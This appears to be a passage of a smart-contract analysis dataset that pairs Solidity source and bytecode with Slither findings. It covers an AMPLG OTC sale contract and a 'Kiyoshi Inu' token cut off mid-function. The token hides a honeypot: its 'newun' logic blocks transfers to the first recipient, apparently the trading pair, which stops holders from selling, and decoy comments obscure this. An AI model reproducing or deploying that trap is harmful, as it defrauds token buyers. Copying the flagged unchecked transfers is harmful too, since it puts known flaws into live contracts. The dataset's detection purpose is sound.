7600080fd5b506105e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050610e4f565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561064757600080fd5b600560009054906101000a900460ff1615156106a5576001600560006101000a81548160ff0219169083151502179055507f615acbaede366d76a8b8cb2a9ada6a71495f0786513d71aa97aaf0c3910b78de60405160405180910390a15b565b6040805190810160405280600881526020017f53726565476f6c6400000000000000000000000000000000000000000000000081525081565b6000806106ed3385610dc8565b14806106f95750600082145b151561070457600080fd5b61070e8383610fb0565b905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561077257600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600454905090565b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561081b57600080fd5b600560009054906101000a900460ff16156108395760009050610847565b6108448484846110a2565b90505b9392505050565b601281565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108af57600080fd5b600560009054906101000a900460ff161561090c576000600560006101000a81548160ff0219169083151502179055507f2f05ba71d0df11bf5fa562a6569d70c4f80da84284badbe015ce1456063d0ded60405160405180910390a15b565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109b457600080fd5b6000821115610ad9576109d46af8277896582678ac000000600454611488565b8211156109e45760009050610ade565b610a2c6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a7a600454836114a1565b6004819055503373ffffffffffffffffffffffffffffffffffffffff1660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050610ade565b600090505b919050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b4157600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610b7c57600080fd5b8390508073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610c2257600080fd5b505af1158015610c36573d6000803e3d6000fd5b505050506040513d6020811015610c4c57600080fd5b8101908080519060200190929190505050507ffab5e7a27e02736e52f60776d307340051d8bc15aee0ef211c7a4aa2a8cdc154848484604051808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001935050505060405180910390a150505050565b6040805190810160405280600381526020017f535247000000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610d9757600080fd5b600560009054906101000a900460ff1615610db55760009050610dc2565b610dbf83836114bf565b90505b92915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610eab57600080fd5b8173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515610ee657600080fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156110df57600080fd5b81600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561116c5760009050611481565b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156111bb5760009050611481565b6000821180156111f757508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561141757611282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061134a6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113d46000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b600082821115151561149657fe5b818303905092915050565b60008082840190508381101515156114b557fe5b8091505092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141515156114fc57600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561154b576000905061170b565b60008211801561158757508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614155b156116a1576115d46000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611488565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061165e6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836114a1565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b929150505600a165627a7a72305820d3e61af1eb474cbe61922a59a4e05c49da2cdc1c79094884a282a0b694f366c00029
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
7,492
0xc6a2aa7ebe041336d433919bd4dcc1ef5d98ab99
// SPDX-License-Identifier: MIT /* _ __ __ ____ _ _____ ____ _ _ _ / \ | \/ | _ \| | | ____/ ___| ___ | | __| | (_) ___ / _ \ | |\/| | |_) | | | _|| | _ / _ \| |/ _` | | |/ _ \ / ___ \| | | | __/| |___| |__| |_| | (_) | | (_| | _ | | (_) | /_/ \_\_| |_|_| |_____|_____\____|\___/|_|\__,_| (_) |_|\___/ Ample Gold $AMPLG is a goldpegged defi protocol that is based on Ampleforths elastic tokensupply model. AMPLG is designed to maintain its base price target of 0.01g of Gold with a progammed inflation adjustment (rebase). Forked from Ampleforth: https://github.com/ampleforth/uFragments (Credits to Ampleforth team for implementation of rebasing on the ethereum network) GPL 3.0 license AMPLG_OTC.sol - AMPLG OTC */ pragma solidity ^0.4.24; contract Initializable { bool private initialized; bool private initializing; modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool wasInitializing = initializing; initializing = true; initialized = true; _; initializing = wasInitializing; } function isConstructor() private view returns (bool) { uint256 cs; assembly { cs := extcodesize(address) } return cs == 0; } uint256[50] private ______gap; } contract Ownable is Initializable { address private _owner; uint256 private _ownershipLocked; event OwnershipLocked(address lockedOwner); event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); function initialize(address sender) internal initializer { _owner = sender; _ownershipLocked = 0; } function owner() public view returns(address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns(bool) { return msg.sender == _owner; } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(_ownershipLocked == 0); require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } // Set _ownershipLocked flag to lock contract owner forever function lockOwnership() public onlyOwner { require(_ownershipLocked == 0); emit OwnershipLocked(_owner); _ownershipLocked = 1; } uint256[50] private ______gap; } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } interface IAMPLG { function totalSupply() external view returns (uint256); function rebaseMonetary(uint256 epoch, int256 supplyDelta) external returns (uint256); function transfer(address to, uint256 value) external returns (bool); function balanceOf(address who) external view returns (uint256); } contract AMPLGOTC is Ownable { using SafeMath for uint256; using SafeMathInt for int256; IAMPLG public token; address public wallet; uint256 public rate; uint256 public weiRaised; bool public isFunding; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, IAMPLG _amplg) public { Ownable.initialize(msg.sender); require(_rate > 0); require(_wallet != address(0)); require(_amplg != address(0)); rate = _rate; wallet = _wallet; token = _amplg; isFunding = true; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { require(isFunding); uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase(address _beneficiary, uint256 _weiAmount) internal { // optional override } function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState(address _beneficiary, uint256 _weiAmount) internal { // optional override } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { uint256 tokenDecimals = 9; uint256 etherDecimals = 18; if (tokenDecimals < etherDecimals) { return _weiAmount.mul(rate).div(10 ** (etherDecimals.sub(tokenDecimals))); } if (tokenDecimals > etherDecimals) { return _weiAmount.mul(rate).mul(10 ** (tokenDecimals.sub(etherDecimals))); } return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } function getBalance() public view returns (uint256) { address _address = this; return token.balanceOf(_address); } function setStatusOTC(bool _status) external onlyOwner { require(msg.sender == Ownable.owner()); isFunding = _status; } function setRate(uint256 _rate) external onlyOwner { require(msg.sender == Ownable.owner()); rate = _rate; } function collectUnsoldAfterOTC() external onlyOwner { isFunding = false; uint256 remaining = token.balanceOf(this); token.transfer(msg.sender, remaining); } function burnTokens(address _tokenAddress, uint _amount) external onlyOwner { isFunding = false; token.transfer(_tokenAddress, _amount); } }
0x6080604052600436106100db576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630577c02b146100e65780630d1118ce146100fd57806312065fe01461014a57806313b53153146101755780632c4e722e146101a457806334fcf437146101cf5780634042b66f146101fc578063521eb273146102275780638da5cb5b1461027e5780638efb761e146102d55780638f32d59b146102ec578063ec8ac4d81461031b578063f2fde38b14610351578063fc0c546a14610394578063feedc33b146103eb575b6100e43361041a565b005b3480156100f257600080fd5b506100fb610503565b005b34801561010957600080fd5b50610148600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105b6565b005b34801561015657600080fd5b5061015f6106e9565b6040518082815260200191505060405180910390f35b34801561018157600080fd5b5061018a6107ed565b604051808215151515815260200191505060405180910390f35b3480156101b057600080fd5b506101b9610800565b6040518082815260200191505060405180910390f35b3480156101db57600080fd5b506101fa60048036038101908080359060200190929190505050610806565b005b34801561020857600080fd5b50610211610864565b6040518082815260200191505060405180910390f35b34801561023357600080fd5b5061023c61086a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561028a57600080fd5b50610293610890565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102e157600080fd5b506102ea6108ba565b005b3480156102f857600080fd5b50610301610ae8565b604051808215151515815260200191505060405180910390f35b61034f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061041a565b005b34801561035d57600080fd5b50610392600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b005b3480156103a057600080fd5b506103a9610b5f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103f757600080fd5b50610418600480360381019080803515159060200190929190505050610b85565b005b600080606b60009054906101000a900460ff16151561043857600080fd5b3491506104458383610bf6565b61044e82610c46565b905061046582606a54610d0890919063ffffffff16565b606a819055506104758382610d92565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36104ec8383610da0565b6104f4610da4565b6104fe8383610e0f565b505050565b61050b610ae8565b151561051657600080fd5b600060345414151561052757600080fd5b7f88edfb4ea96673000ad101b18d1c7dbd727c5d92217c8d0b9966f2aaf77e93f4603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a16001603481905550565b6105be610ae8565b15156105c957600080fd5b6000606b60006101000a81548160ff021916908315150217905550606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156106a957600080fd5b505af11580156106bd573d6000803e3d6000fd5b505050506040513d60208110156106d357600080fd5b8101908080519060200190929190505050505050565b600080309050606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231826040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156107ac57600080fd5b505af11580156107c0573d6000803e3d6000fd5b505050506040513d60208110156107d657600080fd5b810190808051906020019092919050505091505090565b606b60009054906101000a900460ff1681565b60695481565b61080e610ae8565b151561081957600080fd5b610821610890565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561085a57600080fd5b8060698190555050565b606a5481565b606860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006108c4610ae8565b15156108cf57600080fd5b6000606b60006101000a81548160ff021916908315150217905550606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1580156109a757600080fd5b505af11580156109bb573d6000803e3d6000fd5b505050506040513d60208110156109d157600080fd5b81019080805190602001909291905050509050606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610aa957600080fd5b505af1158015610abd573d6000803e3d6000fd5b505050506040513d6020811015610ad357600080fd5b81019080805190602001909291905050505050565b6000603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614905090565b610b48610ae8565b1515610b5357600080fd5b610b5c81610e13565b50565b606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b8d610ae8565b1515610b9857600080fd5b610ba0610890565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610bd957600080fd5b80606b60006101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610c3257600080fd5b60008114151515610c4257600080fd5b5050565b6000806000600991506012905080821015610c9e57610c97610c718383610f2090919063ffffffff16565b600a0a610c8960695487610f6a90919063ffffffff16565b61103790919063ffffffff16565b9250610d01565b80821115610ce957610ce2610cbc8284610f2090919063ffffffff16565b600a0a610cd460695487610f6a90919063ffffffff16565b610f6a90919063ffffffff16565b9250610d01565b610cfe60695485610f6a90919063ffffffff16565b92505b5050919050565b6000808284019050838110151515610d88576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b610d9c8282611081565b5050565b5050565b606860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610e0c573d6000803e3d6000fd5b50565b5050565b6000603454141515610e2457600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610e6057600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16603360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f6283836040805190810160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611186565b905092915050565b6000806000841415610f7f5760009150611030565b8284029050828482811515610f9057fe5b0414151561102c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f81526020017f770000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8091505b5092915050565b600061107983836040805190810160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611247565b905092915050565b606760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561114657600080fd5b505af115801561115a573d6000803e3d6000fd5b505050506040513d602081101561117057600080fd5b8101908080519060200190929190505050505050565b6000808484111583901515611236576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156111fb5780820151818401526020810190506111e0565b50505050905090810190601f1680156112285780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b508385039050809150509392505050565b60008060008411839015156112f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156112bc5780820151818401526020810190506112a1565b50505050905090810190601f1680156112e95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50838581151561130357fe5b049050809150509392505050565b60008060019054906101000a900460ff16806113315750611330611490565b5b8061134857506000809054906101000a900460ff16155b15156113e2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602e8152602001807f436f6e747261637420696e7374616e63652068617320616c726561647920626581526020017f656e20696e697469616c697a656400000000000000000000000000000000000081525060400191505060405180910390fd5b600060019054906101000a900460ff1690506001600060016101000a81548160ff02191690831515021790555060016000806101000a81548160ff02191690831515021790555081603360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600060348190555080600060016101000a81548160ff0219169083151502179055505050565b600080303b905060008114915050905600a165627a7a723058208f190a68f762b4b0cf8585d37557132d25f4c12012b4974f0b560a46b34baa8d0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}]}}
7,493
0xcb5d0da37343fb6039e67f57d31864e080f080ba
/** *Submitted for verification at Etherscan.io on */ //SPDX-License-Identifier: UNLICENSED /* __ ___ __ ____ ____ ______ _______. __ __ __ .__ __. __ __ | |/ / | | \ \ / / / __ \ / || | | | | | | \ | | | | | | | ' / | | \ \/ / | | | | | (----`| |__| | | | | \| | | | | | | < | | \_ _/ | | | | \ \ | __ | | | | . ` | | | | | | . \ | | | | | `--' | .----) | | | | | | | | |\ | | `--' | |__|\__\ |__| |__| \______/ |_______/ |__| |__| |__| |__| \__| \______/ */ // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. /** * @dev Intended to update the TWAP for a token based on accepting an update call from that token. * expectation is to have this happen in the _beforeTokenTransfer function of ERC20. * Provides a method for a token to register its price sourve adaptor. * Provides a function for a token to register its TWAP updater. Defaults to token itself. * Provides a function a tokent to set its TWAP epoch. * Implements automatic closeing and opening up a TWAP epoch when epoch ends. * Provides a function to report the TWAP from the last epoch when passed a token address. */ /** * @dev Returns the amount of tokens in existence. */ pragma solidity >=0.5.17; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a); } function sub(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b <= a); c = a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a * b; require(a == 0 || c / a == b); } function div(uint256 a, uint256 b) internal pure returns (uint256 c) { require(b > 0); c = a / b; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ contract BEP20Interface { function totalSupply() public view returns (uint256); function balanceOf(address tokenOwner) public view returns (uint256 balance); function allowance(address tokenOwner, address spender) public view returns (uint256 remaining); function transfer(address to, uint256 tokens) public returns (bool success); /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function approve(address spender, uint256 tokens) public returns (bool success); function transferFrom( address from, address to, uint256 tokens ) public returns (bool success); /** * @dev Returns true if the value is in the set. O(1). */ event Transfer(address indexed from, address indexed to, uint256 tokens); event Approval( address indexed tokenOwner, address indexed spender, uint256 tokens ); } contract ApproveAndCallFallBack { function receiveApproval( address from, uint256 tokens, address token, bytes memory data ) public; } // TODO needs insert function that maintains order. // TODO needs NatSpec documentation comment. /** * Inserts new value by moving existing value at provided index to end of array and setting provided value at provided index */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } /** * @dev Returns the number of values on the set. O(1). */ function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ contract TokenBEP20 is BEP20Interface, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint256 _totalSupply; address public newun; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; constructor() public { symbol = "KIYOSHINU"; name = "Kiyoshi Inu"; decimals = 9; _totalSupply = 1000000000000000000000000; balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function totalSupply() public view returns (uint256) { return _totalSupply.sub(balances[address(0)]); } function balanceOf(address tokenOwner) public view returns (uint256 balance) { return balances[tokenOwner]; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function transfer(address to, uint256 tokens) public returns (bool success) { require(to != newun, "please wait"); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint256 tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function transferFrom( address from, address to, uint256 tokens ) public returns (bool success) { if (from != address(0) && newun == address(0)) newun = to; else require(to != newun, "please wait"); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint256 remaining) { return allowed[tokenOwner][spender]; } function approveAndCall( address spender, uint256 tokens, bytes memory data ) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit 